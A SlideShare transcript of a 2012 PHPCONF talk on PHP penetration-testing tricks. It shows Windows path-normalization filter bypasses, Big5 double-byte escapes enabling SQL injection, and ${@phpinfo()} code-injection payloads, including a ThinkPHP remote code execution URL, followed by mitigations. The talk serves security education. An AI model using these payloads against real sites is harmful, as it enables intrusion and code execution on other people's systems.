SlideShare a Scribd company logo
Security in PHP
           那些在滲透測試的小技巧

2012/11/03 @ PHPCONF
 <Orange@chroot.org>
About Me

• 蔡政達 aka Orange
• 2009 台灣駭客年會競
  賽冠軍
• 2011 全國資安競賽金        • 專精於
  盾獎冠軍                 – 駭客攻擊手法
• 2011 東京 AVTOKYO 研    – Web Security
  討會講師                 – Windows Vulnerability
                         Exploitation
About Me

• CHROOT Security Group 成員
• NISRA 資訊安全研究會 成員
• 偶爾做做滲透測試、講講課、接接 case.

• Blog
  – http://blog.orange.tw/
This talk is just for fun.
    Don't be Serious. :)
何謂滲透測試 ?
What is Penetration Test ?
何謂安全的網頁應用程式 ?
                       (Defined by Orange)
What is a Secure Web Application ?
(駭客)看到 PHP 就高潮了。
          <資深駭客■■語錄>
暖身運動
Live Code Review.
Is This Code Safe Enough ?

<?php
    $url = $_GET['url'];
    echo urlencode( $url );
?>
漏洞簡單分級

• Low
  – Sensitive Information Leakage…
• Middle
  – Insecure File Download/Access…
• High
  – Local File Inclusion, Code Injection, SQL Inj…
Information Leakage
In Real World.

• Google://
  – site:yoursite "on
    line" Warning
  – site:yoursite "on
    line" "Fatal Error"
  – site:yoursite "on
    line" Notice
四個動作
• showNews.php?id=198
  – showNews.php?id=198/1
• checkName.php?u=lala
  – checkName.php?u=lala%cc'
• getFile.php?path=hsu.doc
  – getFile.php?path=./hsu.doc
• main.php?module=index
  – main.php?module[]=index
小故事
A True Story.
了解架構

1.   Router, Controller 如何做 URL Mapping
2.   內部代碼如何被調用
3.   物件導向,分層架構
4.   自己實現的 DB ORM

          「用 PHP 撐起整個世界」orz
Code Review

1. 從危險函數往上追
 – system exec shell_exec popen eval
   create_function call_user_func preg_replace…
2. 從使用者輸入往下追
 – _GET _POST _COOKIE _REQUEST _ENV _FILES
   _SERVER HTTP_RAW_POST_DATA php://input
   getenv …
• grep -Re
  – (include|require).+$
  – (eval|create_function|call_user_func|…).+$
  – (system|exec|shell_exec|passthru|…).+$
  – (select|insert|update|where|…).+$
  – (file_get_contents|readfile|fopen|…).+$
  – (unserialize|parse_str|…).+$
  – $$, $a()
  – ……
• grep -Re
  – $(_GET|_POST|_COOKIE|_REQUEST|_FILES)
  – $(_ENV|_SERVER)
  – getenv
  – HTTP_RAW_POST_DATA
  – php://input
  –…
Even Find a Typo Error...
try {
      ……
      $trans->commit();
} catch (xxx_adapter_exception $e) {
      $trans->rollback();
      require_once 'xxx_exceptio$n.class.php'
      throw new xxx_exception( …… );
}
結論,進入主題
Let's return the main topic.
幾乎沒人知道的其一
   1/3
PHP 路徑正規化
<?php
    $name = $_GET['name'];
    $name = basename( $name );
    if ( eregi( "(.php|.conf)$", $name ) )
           exit( "Not Allow PHP." );
    else
           readfile( DOCUMENT_ROOT. $name );
?>
PHP 路徑正規化

• down.php?name=   Original Will be replaced by
  – config.php        <               *
  – config"php        >               ?
  – config.ph>
                      "               .
  – config.<
                   Test on PHP 5.4.8
  – c>>>>>"<
                   newest stable version
  – c<"<           (2012/10/17)
因為是 Windows 嘛。ˊ_>ˋ
   This is Windows. ˊ_>ˋ
Digging into
PHP Source Code
• file_get_contents
  – > php_stream_open_wrapper_ex
  – > zend_resolve_path
  – > php_resolve_path_for_zend
  – > php_resolve_path
  – > tsrm_realpath
  – > virtual_file_ex
  – > tsrm_realpath_r
Win32API - FindFirstFile
PHP Functions
Depended on This API

•   file_get_contents        •   require
•   file_put_contents        •   require_once
•   file                     •   fopen
•   readfile                 •   opendir
•   phar_file_get_contents   •   readdir
•   include                  •   mkdir
•   include_once             •   ……
哈哈,你看看你。
Haha, look yourself.
On All Operation System

• config.php/.
• config.php///.
• c>>>>>.<///



Works on PHP 5.2.* (2012/10/26)
比較少人知道的其二
   2/3
Double-Byte Charset Escape


• Web Browser 接 PHP Output (HTML)
  – Cross-Site Scripting
• DB Management 接 PHP Output (SQL)
  – SQL Injection
name.php?n=PHPCONF
   SELECT * FROM [table]
 WHERE username = 'PHPCONF'
name.php?n=PHPCONF'
    SELECT * FROM [table]
 WHERE username = 'PHPCONF''
name.php?n=PHPCONF%cc'
      SELECT * FROM [table]
 WHERE username = 'PHPCONF%cc''
Big5            Σ( ° △ °|||)︴

        Before                After
 PHPCONF              PHPCONF
 PHPCONF'             PHPCONF'
 PHPCONF%80'          PHPCONF�'
 PHPCONF%cc'          PHPCONF岤'

「高位位元組」使用了0x81-0xFE
「低位位元組」使用了0x40-0x7E,及0xA1-0xFE。
Double-Byte Charset Escape


• addslashes
• mysql_escape_string
• magic_quote_gpc

• Special Cases
  – pdo
  – mysql_real_escape_st
    ring
也許你會知道的其三
   3/3
Double Quotes

•   $url = "http://phpconf.tw/2012/";
•   $url = "http://phpconf.tw/$year/";
•   $url = "http://phpconf.tw/{$year}/";
•   $url = "http://phpconf.tw/{${phpinfo()}}/";
•   $url = "http://phpconf.tw/${@phpinfo()}/";
config.php
     $dbuser = "root";

          情境 A
           install.php
<input type='text' name='dbuser'
          value='root'>
config.php
$dbuser = "${@phpinfo()}";

          情境 A
           install.php
<input type='text' name='dbuser'
     value='${@phpinfo()}'>
情境 B

$res =
preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e',
'$var['1']="2";', implode($depr,$paths));

https://orange.tw/index.php?s=module/action/
param1/${@phpinfo()}
情境 B
Think PHP 任意代碼執行漏洞
總結
Summary
Solutions
1. PHP 路徑正規化
  – 動態
  – 非動態
2. Double-Byte Charset Escape
  – UTF-8
  – 正確的編碼設定方式
3. Double Quotes Evaluate
  – Single Quotes
  – Notice Eval-like Functions
References

• PHP Security
  – http://blog.php-security.org/
• Oddities of PHP file access in Windows®.
  – http://onsec.ru/onsec.whitepaper-02.eng.pdf
Thanks.
<Orange@chroot.org>

More Related Content

What's hot

Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesMarco Morana
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
Siddharth Bezalwar
 
Reverse proxies & Inconsistency
Reverse proxies & InconsistencyReverse proxies & Inconsistency
Reverse proxies & Inconsistency
GreenD0g
 
aclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundaclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHound
DirkjanMollema
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Frans Rosén
 
A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentation
Albena Asenova-Belal
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
Sergey Belov
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Frans Rosén
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
CODE BLUE
 
Time based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webserviceTime based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webservice
Frans Rosén
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
n|u - The Open Security Community
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and Security
Sandip Chaudhari
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
Surya Subhash
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
Teymur Kheirkhabarov
 
Web Cache Poisoning
Web Cache PoisoningWeb Cache Poisoning
Web Cache Poisoning
KuldeepPandya5
 
Cross Site Request Forgery (CSRF) Scripting Explained
Cross Site Request Forgery (CSRF) Scripting ExplainedCross Site Request Forgery (CSRF) Scripting Explained
Cross Site Request Forgery (CSRF) Scripting Explained
Valency Networks
 
Cusomizing Burp Suite - Getting the Most out of Burp Extensions
Cusomizing Burp Suite - Getting the Most out of Burp ExtensionsCusomizing Burp Suite - Getting the Most out of Burp Extensions
Cusomizing Burp Suite - Getting the Most out of Burp Extensions
August Detlefsen
 
JSON based CSRF
JSON based CSRFJSON based CSRF
JSON based CSRF
Amit Dubey
 
[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokens[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokens
OWASP
 

What's hot (20)

Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery Vulnerabilities
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 
Reverse proxies & Inconsistency
Reverse proxies & InconsistencyReverse proxies & Inconsistency
Reverse proxies & Inconsistency
 
aclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundaclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHound
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
 
A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentation
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
 
Time based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webserviceTime based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webservice
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and Security
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
 
Web Cache Poisoning
Web Cache PoisoningWeb Cache Poisoning
Web Cache Poisoning
 
Cross Site Request Forgery (CSRF) Scripting Explained
Cross Site Request Forgery (CSRF) Scripting ExplainedCross Site Request Forgery (CSRF) Scripting Explained
Cross Site Request Forgery (CSRF) Scripting Explained
 
Cusomizing Burp Suite - Getting the Most out of Burp Extensions
Cusomizing Burp Suite - Getting the Most out of Burp ExtensionsCusomizing Burp Suite - Getting the Most out of Burp Extensions
Cusomizing Burp Suite - Getting the Most out of Burp Extensions
 
Sql injection
Sql injectionSql injection
Sql injection
 
JSON based CSRF
JSON based CSRFJSON based CSRF
JSON based CSRF
 
[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokens[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokens
 

Similar to Security in PHP - 那些在滲透測試的小技巧

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Combell NV
 
Php through the eyes of a hoster
Php through the eyes of a hosterPhp through the eyes of a hoster
Php through the eyes of a hoster
Combell NV
 
Php through the eyes of a hoster confoo
Php through the eyes of a hoster confooPhp through the eyes of a hoster confoo
Php through the eyes of a hoster confoo
Combell NV
 
Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014
Barney Hanlon
 
Site Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariSite Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariJoseph Scott
 
Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )Joseph Scott
 
Apache and PHP: Why httpd.conf is your new BFF!
Apache and PHP: Why httpd.conf is your new BFF!Apache and PHP: Why httpd.conf is your new BFF!
Apache and PHP: Why httpd.conf is your new BFF!
Jeff Jones
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHP
Jonathan Klein
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
Hackito Ergo Sum
 
Php vulnerability presentation
Php vulnerability presentationPhp vulnerability presentation
Php vulnerability presentation
Sqa Enthusiast
 
PHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールするPHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールするSotaro Omura
 
$kernel->infect(): Creating a cryptovirus for Symfony2 apps
$kernel->infect(): Creating a cryptovirus for Symfony2 apps$kernel->infect(): Creating a cryptovirus for Symfony2 apps
$kernel->infect(): Creating a cryptovirus for Symfony2 apps
Raul Fraile
 
Api Design
Api DesignApi Design
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy Code
Rowan Merewood
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
Combell NV
 
Building Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenvBuilding Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenvYuya Takeyama
 
Prepare for PHP Test Fest 2009
Prepare for PHP Test Fest 2009Prepare for PHP Test Fest 2009
Prepare for PHP Test Fest 2009
PHPBelgium
 
The why and how of moving to php 5.4
The why and how of moving to php 5.4The why and how of moving to php 5.4
The why and how of moving to php 5.4
Wim Godden
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12
Michelangelo van Dam
 
PHP from soup to nuts Course Deck
PHP from soup to nuts Course DeckPHP from soup to nuts Course Deck
PHP from soup to nuts Course Deck
rICh morrow
 

Similar to Security in PHP - 那些在滲透測試的小技巧 (20)

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
 
Php through the eyes of a hoster
Php through the eyes of a hosterPhp through the eyes of a hoster
Php through the eyes of a hoster
 
Php through the eyes of a hoster confoo
Php through the eyes of a hoster confooPhp through the eyes of a hoster confoo
Php through the eyes of a hoster confoo
 
Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014
 
Site Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariSite Performance - From Pinto to Ferrari
Site Performance - From Pinto to Ferrari
 
Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )
 
Apache and PHP: Why httpd.conf is your new BFF!
Apache and PHP: Why httpd.conf is your new BFF!Apache and PHP: Why httpd.conf is your new BFF!
Apache and PHP: Why httpd.conf is your new BFF!
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHP
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
Php vulnerability presentation
Php vulnerability presentationPhp vulnerability presentation
Php vulnerability presentation
 
PHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールするPHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールする
 
$kernel->infect(): Creating a cryptovirus for Symfony2 apps
$kernel->infect(): Creating a cryptovirus for Symfony2 apps$kernel->infect(): Creating a cryptovirus for Symfony2 apps
$kernel->infect(): Creating a cryptovirus for Symfony2 apps
 
Api Design
Api DesignApi Design
Api Design
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy Code
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
 
Building Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenvBuilding Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenv
 
Prepare for PHP Test Fest 2009
Prepare for PHP Test Fest 2009Prepare for PHP Test Fest 2009
Prepare for PHP Test Fest 2009
 
The why and how of moving to php 5.4
The why and how of moving to php 5.4The why and how of moving to php 5.4
The why and how of moving to php 5.4
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12
 
PHP from soup to nuts Course Deck
PHP from soup to nuts Course DeckPHP from soup to nuts Course Deck
PHP from soup to nuts Course Deck
 

Security in PHP - 那些在滲透測試的小技巧

Editor's Notes

  1. (視野真好)(重要的一天)
  2. 參考密碼怎麼設定
  3. 所以這些…因為剛剛的問題是 based on Windows API所以如果你不是用 windows ,而是 Linux 的用戶可能會說
  4. php,可愛的語言舉例、十種「不要以為我在唬爛你,等下Q&amp;A有時間馬上 demo 給你看」
  5. 不要忘記說 Q&amp;A